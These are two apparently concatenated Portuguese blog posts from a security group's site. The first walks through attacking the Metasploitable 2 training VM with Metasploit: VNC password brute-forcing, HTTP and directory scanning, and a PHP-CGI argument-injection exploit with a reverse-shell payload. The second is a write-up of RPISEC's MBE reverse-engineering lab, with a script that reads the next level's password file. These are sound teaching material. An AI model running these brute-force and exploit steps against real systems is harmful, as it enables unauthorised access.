PASSWORD no The password to test PASS_FILE /usr/share/metasploit-framework no File containing passwords, one per line /data/wordlists/vnc_passwords.t xt Proxies no A proxy chain of format type:host:port[,type:host:port ][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/do cs/using-metasploit/basics/using-metasploit.html RPORT 5900 yes The target port (TCP) STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads (max one per host) USERNAME \u0026lt;BLANK\u0026gt; no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space , one pair per line USER_AS_PASS false no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts View the full module info with the info, or info -d command. Vamos configurar o endereço do host alvo e o nome de usuário.\n1 2 3 4 5 msf6 auxiliary(scanner/vnc/vnc_login) \u0026gt; set RHOSTS 192.168.1.30 RHOSTS =\u0026gt; 192.168.1.30 msf6 auxiliary(scanner/vnc/vnc_login) \u0026gt; set USERNAME root USERNAME =\u0026gt; root Por fim, executamos o módulo para tentar a autenticação.\n1 2 3 4 5 6 7 msf6 auxiliary(scanner/vnc/vnc_login) \u0026gt; run [*] 192.168.1.30:5900 - 192.168.1.30:5900 - Starting VNC login sweep [!] 192.168.1.30:5900 - No active DB -- Credential data will not be saved! [+] 192.168.1.30:5900 - 192.168.1.30:5900 - Login Successful: :password [*] 192.168.1.30:5900 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed Vimos que o módulo conseguiu logar com sucesso usando a senha password. Abra outro terminal do Kali e utilize o comando vncviewer 192.168.1.30. Se o vncviewer não estiver instalado, você pode obtê-lo com o seguinte comando: sudo apt install tigervnc-viewer.\n1 vncviewer 192.168.1.30 Insira a senha password, conforme encontramos anteriormente.\nDessa forma, é possível obter acesso completo ao desktop remoto, oferecendo uma oportunidade para explorar mais sobre a máquina-alvo.\nExploração de um servidor web Anteriormente, encontramos que a porta 80 está aberta. Vamos analisá-la.\n1 2 3 4 5 6 7 8 9 10 └─$ nmap -sV 192.168.1.30 -p 80 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-11 19:51 -03 Nmap scan report for 192.168.1.30 Host is up (0.0077s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.50 seconds O servidor web está rodando o Apache HTTPD 2.2.8 em um sistema Ubuntu. Para obter mais informações sobre o servidor, podemos usar o seguinte módulo do Metasploit:\n1 2 3 4 5 6 7 8 9 10 11 msf6 \u0026gt; search http_version Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/http/http_version . normal No HTTP Version Detection Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/http_version Selecionando o módulo de detecção de versão HTTP:\n1 msf6 \u0026gt; use auxiliary/scanner/http/http_version Exibindo as opções disponíveis para o módulo:\n1 2 3 4 5 6 7 8 9 10 11 12 13 msf6 auxiliary(scanner/http/http_version) \u0026gt; show options Module options (auxiliary/scanner/http/http_version): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic s/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections THREADS 1 yes The number of concurrent threads (max one per host) VHOST no HTTP server virtual host Configurando o módulo com o endereço do alvo:\n1 2 msf6 auxiliary(scanner/http/http_version) \u0026gt; set RHOSTS 192.168.1.30 RHOSTS =\u0026gt; 192.168.1.30 Executamos o módulo para verificar a versão do HTTP:\n1 2 3 4 5 msf6 auxiliary(scanner/http/http_version) \u0026gt; run [+] 192.168.1.30:80 Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.10 ) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed De fato, o servidor está rodando Apache/2.2.8 (Ubuntu), mas está rodando PHP/5.2.4-2ubuntu5.10. Agora que sabemos que o servidor está usando PHP, uma abordagem comum é verificar se existem arquivos de configuração padrão que podem fornecer informações úteis. Um arquivo típico para verificar é o phpinfo.php, que geralmente está disponível para fins de diagnóstico e fornece informações detalhadas sobre a configuração do PHP.\nVamos acessar esse caminho no browser, navegando para o endereço 192.168.1.30/phpinfo.php.\nObservação: o phpinfo.php é um caminho padrão, mas nem todos os servidores terão este arquivo disponível. Se não estiver acessível, é possível que o administrador do sistema tenha removido ou desativado esse arquivo por questões de segurança.\nVamos, agora, identificar diretórios no servidor web usando o seguinte módulo:\n1 2 3 4 5 6 7 8 9 10 11 msf6 \u0026gt; search dir_scanner Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/http/dir_scanner . normal No HTTP Directory Scanner Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/dir_scanner Selecionando o módulo:\n1 msf6 \u0026gt; use auxiliary/scanner/http/dir_scanner Mostrando as opções disponíveis:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 msf6 auxiliary(scanner/http/dir_scanner) \u0026gt; show options Module options (auxiliary/scanner/http/dir_scanner): Name Current Setting Required Description ---- --------------- -------- ----------- DICTIONARY /usr/share/metasploit-framework/d no Path of word dictionary to use ata/wmap/wmap_dirs.txt PATH / yes The path to identify files Proxies no A proxy chain of format type:host:port[,type:host:port][.. .] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/u sing-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections THREADS 1 yes The number of concurrent threads (max one per host) VHOST no HTTP server virtual host Configurando o alvo:\n1 2 msf6 auxiliary(scanner/http/dir_scanner) \u0026gt; set RHOSTS 192.168.1.30 RHOSTS =\u0026gt; 192.168.1.30 Por fim, vamos executar o módulo.\n1 2 3 4 5 6 7 8 9 10 11 12 msf6 auxiliary(scanner/http/dir_scanner) \u0026gt; run [*] Detecting error code [*] Using code \u0026#39;404\u0026#39; as not found for 192.168.1.30 [+] Found http://192.168.1.30:80/cgi-bin/ 403 (192.168.1.30) [+] Found http://192.168.1.30:80/doc/ 200 (192.168.1.30) [+] Found http://192.168.1.30:80/icons/ 200 (192.168.1.30) [+] Found http://192.168.1.30:80/index/ 200 (192.168.1.30) [+] Found http://192.168.1.30:80/phpMyAdmin/ 200 (192.168.1.30) [+] Found http://192.168.1.30:80/test/ 200 (192.168.1.30) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed O módulo retornou uma lista de diretórios, que podem conter informações sensíveis ou vulnerabilidades que podem ser exploradas. Um diretório interessante seria o /phpMyAdmin/. Vamos tentar explorá-lo utilizando o seguinte módulo de injeção de argumento CGI (Common Gateway Interface) no PHP.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 msf6 \u0026gt; search php_cgi Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/http/php_cgi_arg_injection 2012-05-03 excellent Yes PHP CGI Argument Injection 1 exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577 2024-06-06 excellent Yes PHP CGI Argument Injection Remote Code Execution 2 \\_ target: Windows PHP . . . . 3 \\_ target: Windows Command . . . . Interact with a module by name or index. For example info 3, use 3 or use exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577 After interacting with a module you can manually set a TARGET with set TARGET \u0026#39;Windows Command\u0026#39; Vamos utilizar a opção 0.\n1 2 msf6 \u0026gt; use 0 [*] Using configured payload php/meterpreter/reverse_tcp Configurando o alvo:\n1 2 msf6 exploit(multi/http/php_cgi_arg_injection) \u0026gt; set RHOSTS 192.168.1.30 RHOSTS =\u0026gt; 192.168.1.30 Por fim, vamos executar o exploit.\n1 2 3 4 msf6 exploit(multi/http/php_cgi_arg_injection) \u0026gt; exploit [*] Started reverse TCP handler on 172.18.18.105:4444 [*] Exploit completed, but no session was created. Infelizmente, o exploit falhou em minha máquina. De acordo com este vídeo, após injetar um argumento malicioso na solicitação CGI e explorar a vulnerabilidade no PHP, obteríamos um shell reverso na máquina alvo, permitindo controle remoto e acesso a informações. Veja um screenshot deste vídeo:\nConsiderações finais Neste blog post, vimos que a máquina Metasploitable 2 é uma ótima oportunidade para quem deseja aprender sobre segurança cibernética, oferecendo uma ampla gama de vulnerabilidades para explorar. Além disso, o Metasploit Framework também se destaca como uma ferramenta para esse aprendizado, facilitando a identificação e exploração de falhas nesses ambientes.\nReferências Rapid7. Metasploitable 2 Exploitability Guide. Disponível em: https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/\nRapid7. Metasploit Documentation. Disponível em: https://docs.metasploit.com\nOffSec. Scanner FTP Auxiliary Modules. Disponível em: https://www.offsec.com/metasploit-unleashed/scanner-ftp-auxiliary-modules/\nInfoSec Pat. How To Hack and Exploit Port 80 HTTP Metasploitable 2. Disponível em: https://www.youtube.com/watch?v=HH7DPfYTfoI\n","permalink":"http://grisufrj.github.io/blog/2024-08-11-exploracao-metasploitable2/","summary":"Introdução Neste post, vamos abordar como identificar e explorar algumas vulnerabilidades comuns encontradas na máquina vulnerável Metasploitable 2, utilizando ferramentas e métodos que são amplamente aplicáveis em cenários reais.\nO que é o Metasploitable 2? Metasploitable 2 é uma máquina virtual intencionalmente vulnerável, desenvolvida pela Rapid7, projetada para ser uma plataforma de prática para profissionais e entusiastas de segurança cibernética. Ela simula um ambiente de rede com várias vulnerabilidades conhecidas, permitindo que os usuários testem e aprimorem suas habilidades em pentest sem comprometer sistemas reais.","title":"Exploração de vulnerabilidades em ambientes virtuais"},{"content":"Olá! Nesse post, resolveremos o primeiro laboratório do Modern Binary Exploitation da RPISEC que aborda a Engenharia Reversa. Caso tenha interesse no assunto, temos diversos posts no blog que abordam o tema, basta acessar a tag!\nSobre os laboratórios do MBE Todos os laboratórios do curso residem dentro de uma máquina virtual disponibilizada no material através de uma imagem de disco para Ubuntu 14.04, que possui toda a configuração necessária para o Wargame. Os desafios são separados por laboratório e dificuldade, sendo C o mais fácil e A o mais difícil. Além disso, você acessa o challenge mediante ao usuário do respectivo desafio. Portanto, começando no C, o seu objetivo é exploitar o desafio para spawnar o terminal logado no usuário da próxima challenge e pegar a senha dele (que está em /home/labXX/.pass).\nLaboratório 01 O laboratório 01 aborda a Engenharia Reversa, tópico, esse, que é trabalhado durante as três primeiras lectures do material. Para uma melhor compreensão do que está ocorrendo, é necessário saber um pouco sobre:\nProgramação em C Assembly x86 Stack Todas as ferramentas utilizadas estarão listadas ao final do write-up.\nLab1C Conferindo algumas informações do arquivo:\n1 2 lab1C@warzone:~$ file /levels/lab01/lab1C /levels/lab01/lab1C: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1522352e3de50fd6d180831ba18e2bca16be4204, not stripped Nosso código está rodando em 32 bits. Isso é importante para entendermos como são passados os parâmetros das funções, dadas as características da arquitetura. Nesse caso, os parâmetros são passados através da Stack.\nAcessando com a senha padrão lab01start, o primeiro problema nos prompta com uma interface para inserir uma senha:\n1 2 3 4 5 ----------------------------- --- RPISEC - CrackMe v1.0 --- ----------------------------- Password: Realizando o disassembly da função main():\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 Dump of assembler code for function main: 0x080486ad \u0026lt;+0\u0026gt;:\tpush ebp 0x080486ae \u0026lt;+1\u0026gt;:\tmov ebp,esp 0x080486b0 \u0026lt;+3\u0026gt;:\tand esp,0xfffffff0 0x080486b3 \u0026lt;+6\u0026gt;:\tsub esp,0x20 0x080486b6 \u0026lt;+9\u0026gt;:\tmov DWORD PTR [esp],0x80487d0 0x080486bd \u0026lt;+16\u0026gt;:\tcall 0x8048560 \u0026lt;puts@plt\u0026gt; 0x080486c2 \u0026lt;+21\u0026gt;:\tmov DWORD PTR [esp],0x80487ee 0x080486c9 \u0026lt;+28\u0026gt;:\tcall 0x8048560 \u0026lt;puts@plt\u0026gt; 0x080486ce \u0026lt;+33\u0026gt;:\tmov DWORD PTR [esp],0x80487d0 0x080486d5 \u0026lt;+40\u0026gt;:\tcall 0x8048560 \u0026lt;puts@plt\u0026gt; 0x080486da \u0026lt;+45\u0026gt;:\tmov DWORD PTR [esp],0x804880c 0x080486e1 \u0026lt;+52\u0026gt;:\tcall 0x8048550 \u0026lt;printf@plt\u0026gt; 0x080486e6 \u0026lt;+57\u0026gt;:\tlea eax,[esp+0x1c] 0x080486ea \u0026lt;+61\u0026gt;:\tmov DWORD PTR [esp+0x4],eax 0x080486ee \u0026lt;+65\u0026gt;:\tmov DWORD PTR [esp],0x8048818 0x080486f5 \u0026lt;+72\u0026gt;:\tcall 0x80485a0 \u0026lt;__isoc99_scanf@plt\u0026gt; 0x080486fa \u0026lt;+77\u0026gt;:\tmov eax,DWORD PTR [esp+0x1c] 0x080486fe \u0026lt;+81\u0026gt;:\tcmp eax,0x149a 0x08048703 \u0026lt;+86\u0026gt;:\tjne 0x8048724 \u0026lt;main+119\u0026gt; 0x08048705 \u0026lt;+88\u0026gt;:\tmov DWORD PTR [esp],0x804881b 0x0804870c \u0026lt;+95\u0026gt;:\tcall 0x8048560 \u0026lt;puts@plt\u0026gt; 0x08048711 \u0026lt;+100\u0026gt;:\tmov DWORD PTR [esp],0x804882b 0x08048718 \u0026lt;+107\u0026gt;:\tcall 0x8048570 \u0026lt;system@plt\u0026gt; 0x0804871d \u0026lt;+112\u0026gt;:\tmov eax,0x0 0x08048722 \u0026lt;+117\u0026gt;:\tjmp 0x8048735 \u0026lt;main+136\u0026gt; 0x08048724 \u0026lt;+119\u0026gt;:\tmov DWORD PTR [esp],0x8048833 0x0804872b \u0026lt;+126\u0026gt;:\tcall 0x8048560 \u0026lt;puts@plt\u0026gt; 0x08048730 \u0026lt;+131\u0026gt;:\tmov eax,0x1 0x08048735 \u0026lt;+136\u0026gt;:\tleave 0x08048736 \u0026lt;+137\u0026gt;:\tret End of assembler dump. Nota-se, em \u0026lt;main+81\u0026gt;:\n1 2 3 4 5 6 0x080486ea \u0026lt;+61\u0026gt;: mov DWORD PTR [esp+0x4],eax 0x080486ee \u0026lt;+65\u0026gt;: mov DWORD PTR [esp],0x8048818 0x080486f5 \u0026lt;+72\u0026gt;: call 0x80485a0 \u0026lt;__isoc99_scanf@plt\u0026gt; 0x080486fa \u0026lt;+77\u0026gt;: mov eax,DWORD PTR [esp+0x1c] 0x080486fe \u0026lt;+81\u0026gt;: cmp eax,0x149a 0x08048703 \u0026lt;+86\u0026gt;: jne 0x8048724 \u0026lt;main+119\u0026gt; Há uma chamada de scanf() e uma comparação entre o valor inputado e 0x149a (5274 em decimal). Portanto, ao inserir 5274 como senha, devemos satisfazer a comparação e evitar o jump subsequente.Assim, então, acessamos o usuário lab1B e recuperamos a senha n0_str1ngs_n0_pr0bl3m.\n1 2 3 4 5 6 7 #!/bin/bash file=\u0026#34;/tmp/lab1B_pass.txt\u0026#34; (python3 -c \u0026#34;print(str(5274))\u0026#34;; echo \u0026#34;cat /home/lab1B/.pass \u0026gt; $file\u0026#34;) | /levels/lab01/lab1C echo \u0026#34;Password stored at $file\u0026#34; Lab1B Conferindo as informações do arquivo:\n1 2 lab1B@warzone:/levels/lab01$ file lab1B lab1B: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=c9f07b581bd8d97cdc7c0ff1a288e20aea2df0f5, stripped 1 2 3 4 5 6 gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial Esse arquivo de 32 bits, agora, possui algumas proteções de stack.\nAnálise das funções Dessa vez, somos promptados com a mesma inteface de login:\n1 2 3 4 5 ----------------------------- --- RPISEC - CrackMe v1.0 --- ----------------------------- Password: Realizaremos, então, o disassembly da main:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 Dump of assembler code for function main: 0x08048be4 \u0026lt;+0\u0026gt;:\tpush ebp 0x08048be5 \u0026lt;+1\u0026gt;:\tmov ebp,esp 0x08048be7 \u0026lt;+3\u0026gt;:\tand esp,0xfffffff0 0x08048bea \u0026lt;+6\u0026gt;:\tsub esp,0x20 0x08048bed \u0026lt;+9\u0026gt;:\tpush eax 0x08048bee \u0026lt;+10\u0026gt;:\txor eax,eax 0x08048bf0 \u0026lt;+12\u0026gt;:\tje 0x8048bf5 \u0026lt;main+17\u0026gt; 0x08048bf2 \u0026lt;+14\u0026gt;:\tadd esp,0x4 0x08048bf5 \u0026lt;+17\u0026gt;:\tpop eax 0x08048bf6 \u0026lt;+18\u0026gt;:\tmov DWORD PTR [esp],0x0 0x08048bfd \u0026lt;+25\u0026gt;:\tcall 0x80487b0 \u0026lt;time@plt\u0026gt; 0x08048c02 \u0026lt;+30\u0026gt;:\tmov DWORD PTR [esp],eax 0x08048c05 \u0026lt;+33\u0026gt;:\tcall 0x8048800 \u0026lt;srand@plt\u0026gt; 0x08048c0a \u0026lt;+38\u0026gt;:\tmov DWORD PTR [esp],0x8048d88 0x08048c11 \u0026lt;+45\u0026gt;:\tcall 0x80487d0 \u0026lt;puts@plt\u0026gt; 0x08048c16 \u0026lt;+50\u0026gt;:\tmov DWORD PTR [esp],0x8048da6 0x08048c1d \u0026lt;+57\u0026gt;:\tcall 0x80487d0 \u0026lt;puts@plt\u0026gt; 0x08048c22 \u0026lt;+62\u0026gt;:\tmov DWORD PTR [esp],0x8048dc4 0x08048c29 \u0026lt;+69\u0026gt;:\tcall 0x80487d0 \u0026lt;puts@plt\u0026gt; 0x08048c2e \u0026lt;+74\u0026gt;:\tmov DWORD PTR [esp],0x8048de2 0x08048c35 \u0026lt;+81\u0026gt;:\tcall 0x8048780 \u0026lt;printf@plt\u0026gt; 0x08048c3a \u0026lt;+86\u0026gt;:\tlea eax,[esp+0x1c] 0x08048c3e \u0026lt;+90\u0026gt;:\tmov DWORD PTR [esp+0x4],eax 0x08048c42 \u0026lt;+94\u0026gt;:\tmov DWORD PTR [esp],0x8048dee 0x08048c49 \u0026lt;+101\u0026gt;:\tcall 0x8048840 \u0026lt;__isoc99_scanf@plt\u0026gt; 0x08048c4e \u0026lt;+106\u0026gt;:\tmov eax,DWORD PTR [esp+0x1c] 0x08048c52 \u0026lt;+110\u0026gt;:\tmov DWORD PTR [esp+0x4],0x1337d00d 0x08048c5a \u0026lt;+118\u0026gt;:\tmov DWORD PTR [esp],eax 0x08048c5d \u0026lt;+121\u0026gt;:\tcall 0x8048a74 \u0026lt;test\u0026gt; # chama test() 0x08048c62 \u0026lt;+126\u0026gt;:\tmov eax,0x0 0x08048c67 \u0026lt;+131\u0026gt;:\tleave 0x08048c68 \u0026lt;+132\u0026gt;:\tret End of assembler dump. Ao efetuar o disassembly, reparamos que a função test() é chamada em \u0026lt;main+121\u0026gt;:\n1 2 3 4 5 6 7 0x08048c3e \u0026lt;+90\u0026gt;: mov DWORD PTR [esp+0x4],eax 0x08048c42 \u0026lt;+94\u0026gt;: mov DWORD PTR [esp],0x8048dee 0x08048c49 \u0026lt;+101\u0026gt;: call 0x8048840 \u0026lt;__isoc99_scanf@plt\u0026gt; 0x08048c4e \u0026lt;+106\u0026gt;: mov eax,DWORD PTR [esp+0x1c] 0x08048c52 \u0026lt;+110\u0026gt;: mov DWORD PTR [esp+0x4],0x1337d00d 0x08048c5a \u0026lt;+118\u0026gt;: mov DWORD PTR [esp],eax 0x08048c5d \u0026lt;+121\u0026gt;: call 0x8048a74 \u0026lt;test\u0026gt; # chama test() Repare que o input do usuário é inserido como parametro, além de um valor fixo 0x1337d00d. Conferindo a função test():\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 Dump of assembler code for function test: 0x08048a74 \u0026lt;+0\u0026gt;:\tpush ebp 0x08048a75 \u0026lt;+1\u0026gt;:\tmov ebp,esp 0x08048a77 \u0026lt;+3\u0026gt;:\tsub esp,0x28 0x08048a7a \u0026lt;+6\u0026gt;:\tmov eax,DWORD PTR [ebp+0x8] 0x08048a7d \u0026lt;+9\u0026gt;:\tmov edx,DWORD PTR [ebp+0xc] 0x08048a80 \u0026lt;+12\u0026gt;:\tsub edx,eax #subtrai os inputs 0x08048a82 \u0026lt;+14\u0026gt;:\tmov eax,edx 0x08048a84 \u0026lt;+16\u0026gt;:\tmov DWORD PTR [ebp-0xc],eax 0x08048a87 \u0026lt;+19\u0026gt;:\tcmp DWORD PTR [ebp-0xc],0x15 0x08048a8b \u0026lt;+23\u0026gt;:\tja 0x8048bd5 \u0026lt;test+353\u0026gt; 0x08048a91 \u0026lt;+29\u0026gt;:\tmov eax,DWORD PTR [ebp-0xc] 0x08048a94 \u0026lt;+32\u0026gt;:\tshl eax,0x2 0x08048a97 \u0026lt;+35\u0026gt;:\tadd eax,0x8048d30 0x08048a9c \u0026lt;+40\u0026gt;:\tmov eax,DWORD PTR [eax] 0x08048a9e \u0026lt;+42\u0026gt;:\tjmp eax 0x08048aa0 \u0026lt;+44\u0026gt;:\tmov eax,DWORD PTR [ebp-0xc] 0x08048aa3 \u0026lt;+47\u0026gt;:\tmov DWORD PTR [esp],eax 0x08048aa6 \u0026lt;+50\u0026gt;:\tcall 0x80489b7 \u0026lt;decrypt\u0026gt; 0x08048aab \u0026lt;+55\u0026gt;:\tjmp 0x8048be2 \u0026lt;test+366\u0026gt; 0x08048ab0 \u0026lt;+60\u0026gt;:\tmov eax,DWORD PTR [ebp-0xc] 0x08048ab3 \u0026lt;+63\u0026gt;:\tmov DWORD PTR [esp],eax 0x08048ab6 \u0026lt;+66\u0026gt;:\tcall 0x80489b7 \u0026lt;decrypt\u0026gt; . . . 0x08048b85 \u0026lt;+273\u0026gt;:\tjmp 0x8048be2 \u0026lt;test+366\u0026gt; 0x08048b87 \u0026lt;+275\u0026gt;:\tmov eax,DWORD PTR [ebp-0xc] 0x08048b8a \u0026lt;+278\u0026gt;:\tmov DWORD PTR [esp],eax 0x08048b8d \u0026lt;+281\u0026gt;:\tcall 0x80489b7 \u0026lt;decrypt\u0026gt; 0x08048b92 \u0026lt;+286\u0026gt;:\tjmp 0x8048be2 \u0026lt;test+366\u0026gt; 0x08048b94 \u0026lt;+288\u0026gt;:\tmov eax,DWORD PTR [ebp-0xc] 0x08048b97 \u0026lt;+291\u0026gt;:\tmov DWORD PTR [esp],eax 0x08048b9a \u0026lt;+294\u0026gt;:\tcall 0x80489b7 \u0026lt;decrypt\u0026gt; 0x08048b9f \u0026lt;+299\u0026gt;:\tjmp 0x8048be2 \u0026lt;test+366\u0026gt; 0x08048ba1 \u0026lt;+301\u0026gt;:\tmov eax,DWORD PTR [ebp-0xc] 0x08048ba4 \u0026lt;+304\u0026gt;:\tmov DWORD PTR [esp],eax 0x08048ba7 \u0026lt;+307\u0026gt;:\tcall 0x80489b7 \u0026lt;decrypt\u0026gt; 0x08048bac \u0026lt;+312\u0026gt;:\tjmp 0x8048be2 \u0026lt;test+366\u0026gt; 0x08048bae \u0026lt;+314\u0026gt;:\tmov eax,DWORD PTR [ebp-0xc] 0x08048bb1 \u0026lt;+317\u0026gt;:\tmov DWORD PTR [esp],eax 0x08048bb4 \u0026lt;+320\u0026gt;:\tcall 0x80489b7 \u0026lt;decrypt\u0026gt; 0x08048bb9 \u0026lt;+325\u0026gt;:\tjmp 0x8048be2 \u0026lt;test+366\u0026gt; 0x08048bbb \u0026lt;+327\u0026gt;:\tmov eax,DWORD PTR [ebp-0xc] 0x08048bbe \u0026lt;+330\u0026gt;:\tmov DWORD PTR [esp],eax 0x08048bc1 \u0026lt;+333\u0026gt;:\tcall 0x80489b7 \u0026lt;decrypt\u0026gt; 0x08048bc6 \u0026lt;+338\u0026gt;:\tjmp 0x8048be2 \u0026lt;test+366\u0026gt; 0x08048bc8 \u0026lt;+340\u0026gt;:\tmov eax,DWORD PTR [ebp-0xc] 0x08048bcb \u0026lt;+343\u0026gt;:\tmov DWORD PTR [esp],eax 0x08048bce \u0026lt;+346\u0026gt;:\tcall 0x80489b7 \u0026lt;decrypt\u0026gt; 0x08048bd3 \u0026lt;+351\u0026gt;:\tjmp 0x8048be2 \u0026lt;test+366\u0026gt; 0x08048bd5 \u0026lt;+353\u0026gt;:\tcall 0x8048830 \u0026lt;rand@plt\u0026gt; 0x08048bda \u0026lt;+358\u0026gt;:\tmov DWORD PTR [esp],eax 0x08048bdd \u0026lt;+361\u0026gt;:\tcall 0x80489b7 \u0026lt;decrypt\u0026gt; 0x08048be2 \u0026lt;+366\u0026gt;:\tleave 0x08048be3 \u0026lt;+367\u0026gt;:\tret End of assembler dump. Investigando a função test(), vemos que existe um grande if-else (ou switch-case) que realiza a chamada de uma função decrypt() em todos os seus casos. O único caso que se diferencia é o último, cujo é usada a função rand() para ser o parametro dessa chamada.\nEm partes, vamos analizar o comportamento da função para entendê-la. Primeiramente:\n1 2 3 0x08048a7a \u0026lt;+6\u0026gt;: mov eax,DWORD PTR [ebp+0x8] # input do user 0x08048a7d \u0026lt;+9\u0026gt;: mov edx,DWORD PTR [ebp+0xc] # 0x1337d00d 0x08048a80 \u0026lt;+12\u0026gt;: sub edx,eax # subtrai os valores Nesse momento, é calculada a diferença entre a senha inputada e o valor hexadecimal. Após isso:\n1 2 3 4 0x08048a82 \u0026lt;+14\u0026gt;: mov eax,edx 0x08048a84 \u0026lt;+16\u0026gt;: mov DWORD PTR [ebp-0xc],eax 0x08048a87 \u0026lt;+19\u0026gt;: cmp DWORD PTR [ebp-0xc],0x15 0x08048a8b \u0026lt;+23\u0026gt;: ja 0x8048bd5 \u0026lt;test+353\u0026gt; Aqui, vemos o que provoca o caso do switch-case com o rand(): a diferença entre os valores ser maior que 21. Então, caso a diferença seja igual ou menor que 21:\n1 2 3 4 5 0x08048a91 \u0026lt;+29\u0026gt;: mov eax,DWORD PTR [ebp-0xc] 0x08048a94 \u0026lt;+32\u0026gt;: shl eax,0x2 0x08048a97 \u0026lt;+35\u0026gt;: add eax,0x8048d30 0x08048a9c \u0026lt;+40\u0026gt;: mov eax,DWORD PTR [eax] 0x08048a9e \u0026lt;+42\u0026gt;: jmp eax Em todo caso, esse jump é tomado para um dos blocos do switch-case (que são todos iguais). Conferindo eles:\n1 2 3 0x08048aa0 \u0026lt;+XX\u0026gt;: mov eax,DWORD PTR [ebp-0xc] 0x08048aa3 \u0026lt;+XX\u0026gt;: mov DWORD PTR [esp],eax 0x08048aa6 \u0026lt;+XX\u0026gt;: call 0x80489b7 \u0026lt;decrypt\u0026gt; Basicamente, a diferença entre 0x1337d00d e o input é enviada como parametro para decrypt(). Vejamos, então, a função:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 Dump of assembler code for function decrypt: 0x080489b7 \u0026lt;+0\u0026gt;:\tpush ebp 0x080489b8 \u0026lt;+1\u0026gt;:\tmov ebp,esp 0x080489ba \u0026lt;+3\u0026gt;:\tsub esp,0x38 0x080489bd \u0026lt;+6\u0026gt;:\tmov eax,gs:0x14 0x080489c3 \u0026lt;+12\u0026gt;:\tmov DWORD PTR [ebp-0xc],eax 0x080489c6 \u0026lt;+15\u0026gt;:\txor eax,eax 0x080489c8 \u0026lt;+17\u0026gt;:\tmov DWORD PTR [ebp-0x1d],0x757c7d51 0x080489cf \u0026lt;+24\u0026gt;:\tmov DWORD PTR [ebp-0x19],0x67667360 0x080489d6 \u0026lt;+31\u0026gt;:\tmov DWORD PTR [ebp-0x15],0x7b66737e 0x080489dd \u0026lt;+38\u0026gt;:\tmov DWORD PTR [ebp-0x11],0x33617c7d 0x080489e4 \u0026lt;+45\u0026gt;:\tmov BYTE PTR [ebp-0xd],0x0 0x080489e8 \u0026lt;+49\u0026gt;:\tpush eax 0x080489e9 \u0026lt;+50\u0026gt;:\txor eax,eax 0x080489eb \u0026lt;+52\u0026gt;:\tje 0x80489f0 \u0026lt;decrypt+57\u0026gt; 0x080489ed \u0026lt;+54\u0026gt;:\tadd esp,0x4 0x080489f0 \u0026lt;+57\u0026gt;:\tpop eax 0x080489f1 \u0026lt;+58\u0026gt;:\tlea eax,[ebp-0x1d] 0x080489f4 \u0026lt;+61\u0026gt;:\tmov DWORD PTR [esp],eax 0x080489f7 \u0026lt;+64\u0026gt;:\tcall 0x8048810 \u0026lt;strlen@plt\u0026gt; 0x080489fc \u0026lt;+69\u0026gt;:\tmov DWORD PTR [ebp-0x24],eax 0x080489ff \u0026lt;+72\u0026gt;:\tmov DWORD PTR [ebp-0x28],0x0 0x08048a06 \u0026lt;+79\u0026gt;:\tjmp 0x8048a28 \u0026lt;decrypt+113\u0026gt; 0x08048a08 \u0026lt;+81\u0026gt;:\tlea edx,[ebp-0x1d] 0x08048a0b \u0026lt;+84\u0026gt;:\tmov eax,DWORD PTR [ebp-0x28] 0x08048a0e \u0026lt;+87\u0026gt;:\tadd eax,edx 0x08048a10 \u0026lt;+89\u0026gt;:\tmovzx eax,BYTE PTR [eax] 0x08048a13 \u0026lt;+92\u0026gt;:\tmov edx,eax 0x08048a15 \u0026lt;+94\u0026gt;:\tmov eax,DWORD PTR [ebp+0x8] 0x08048a18 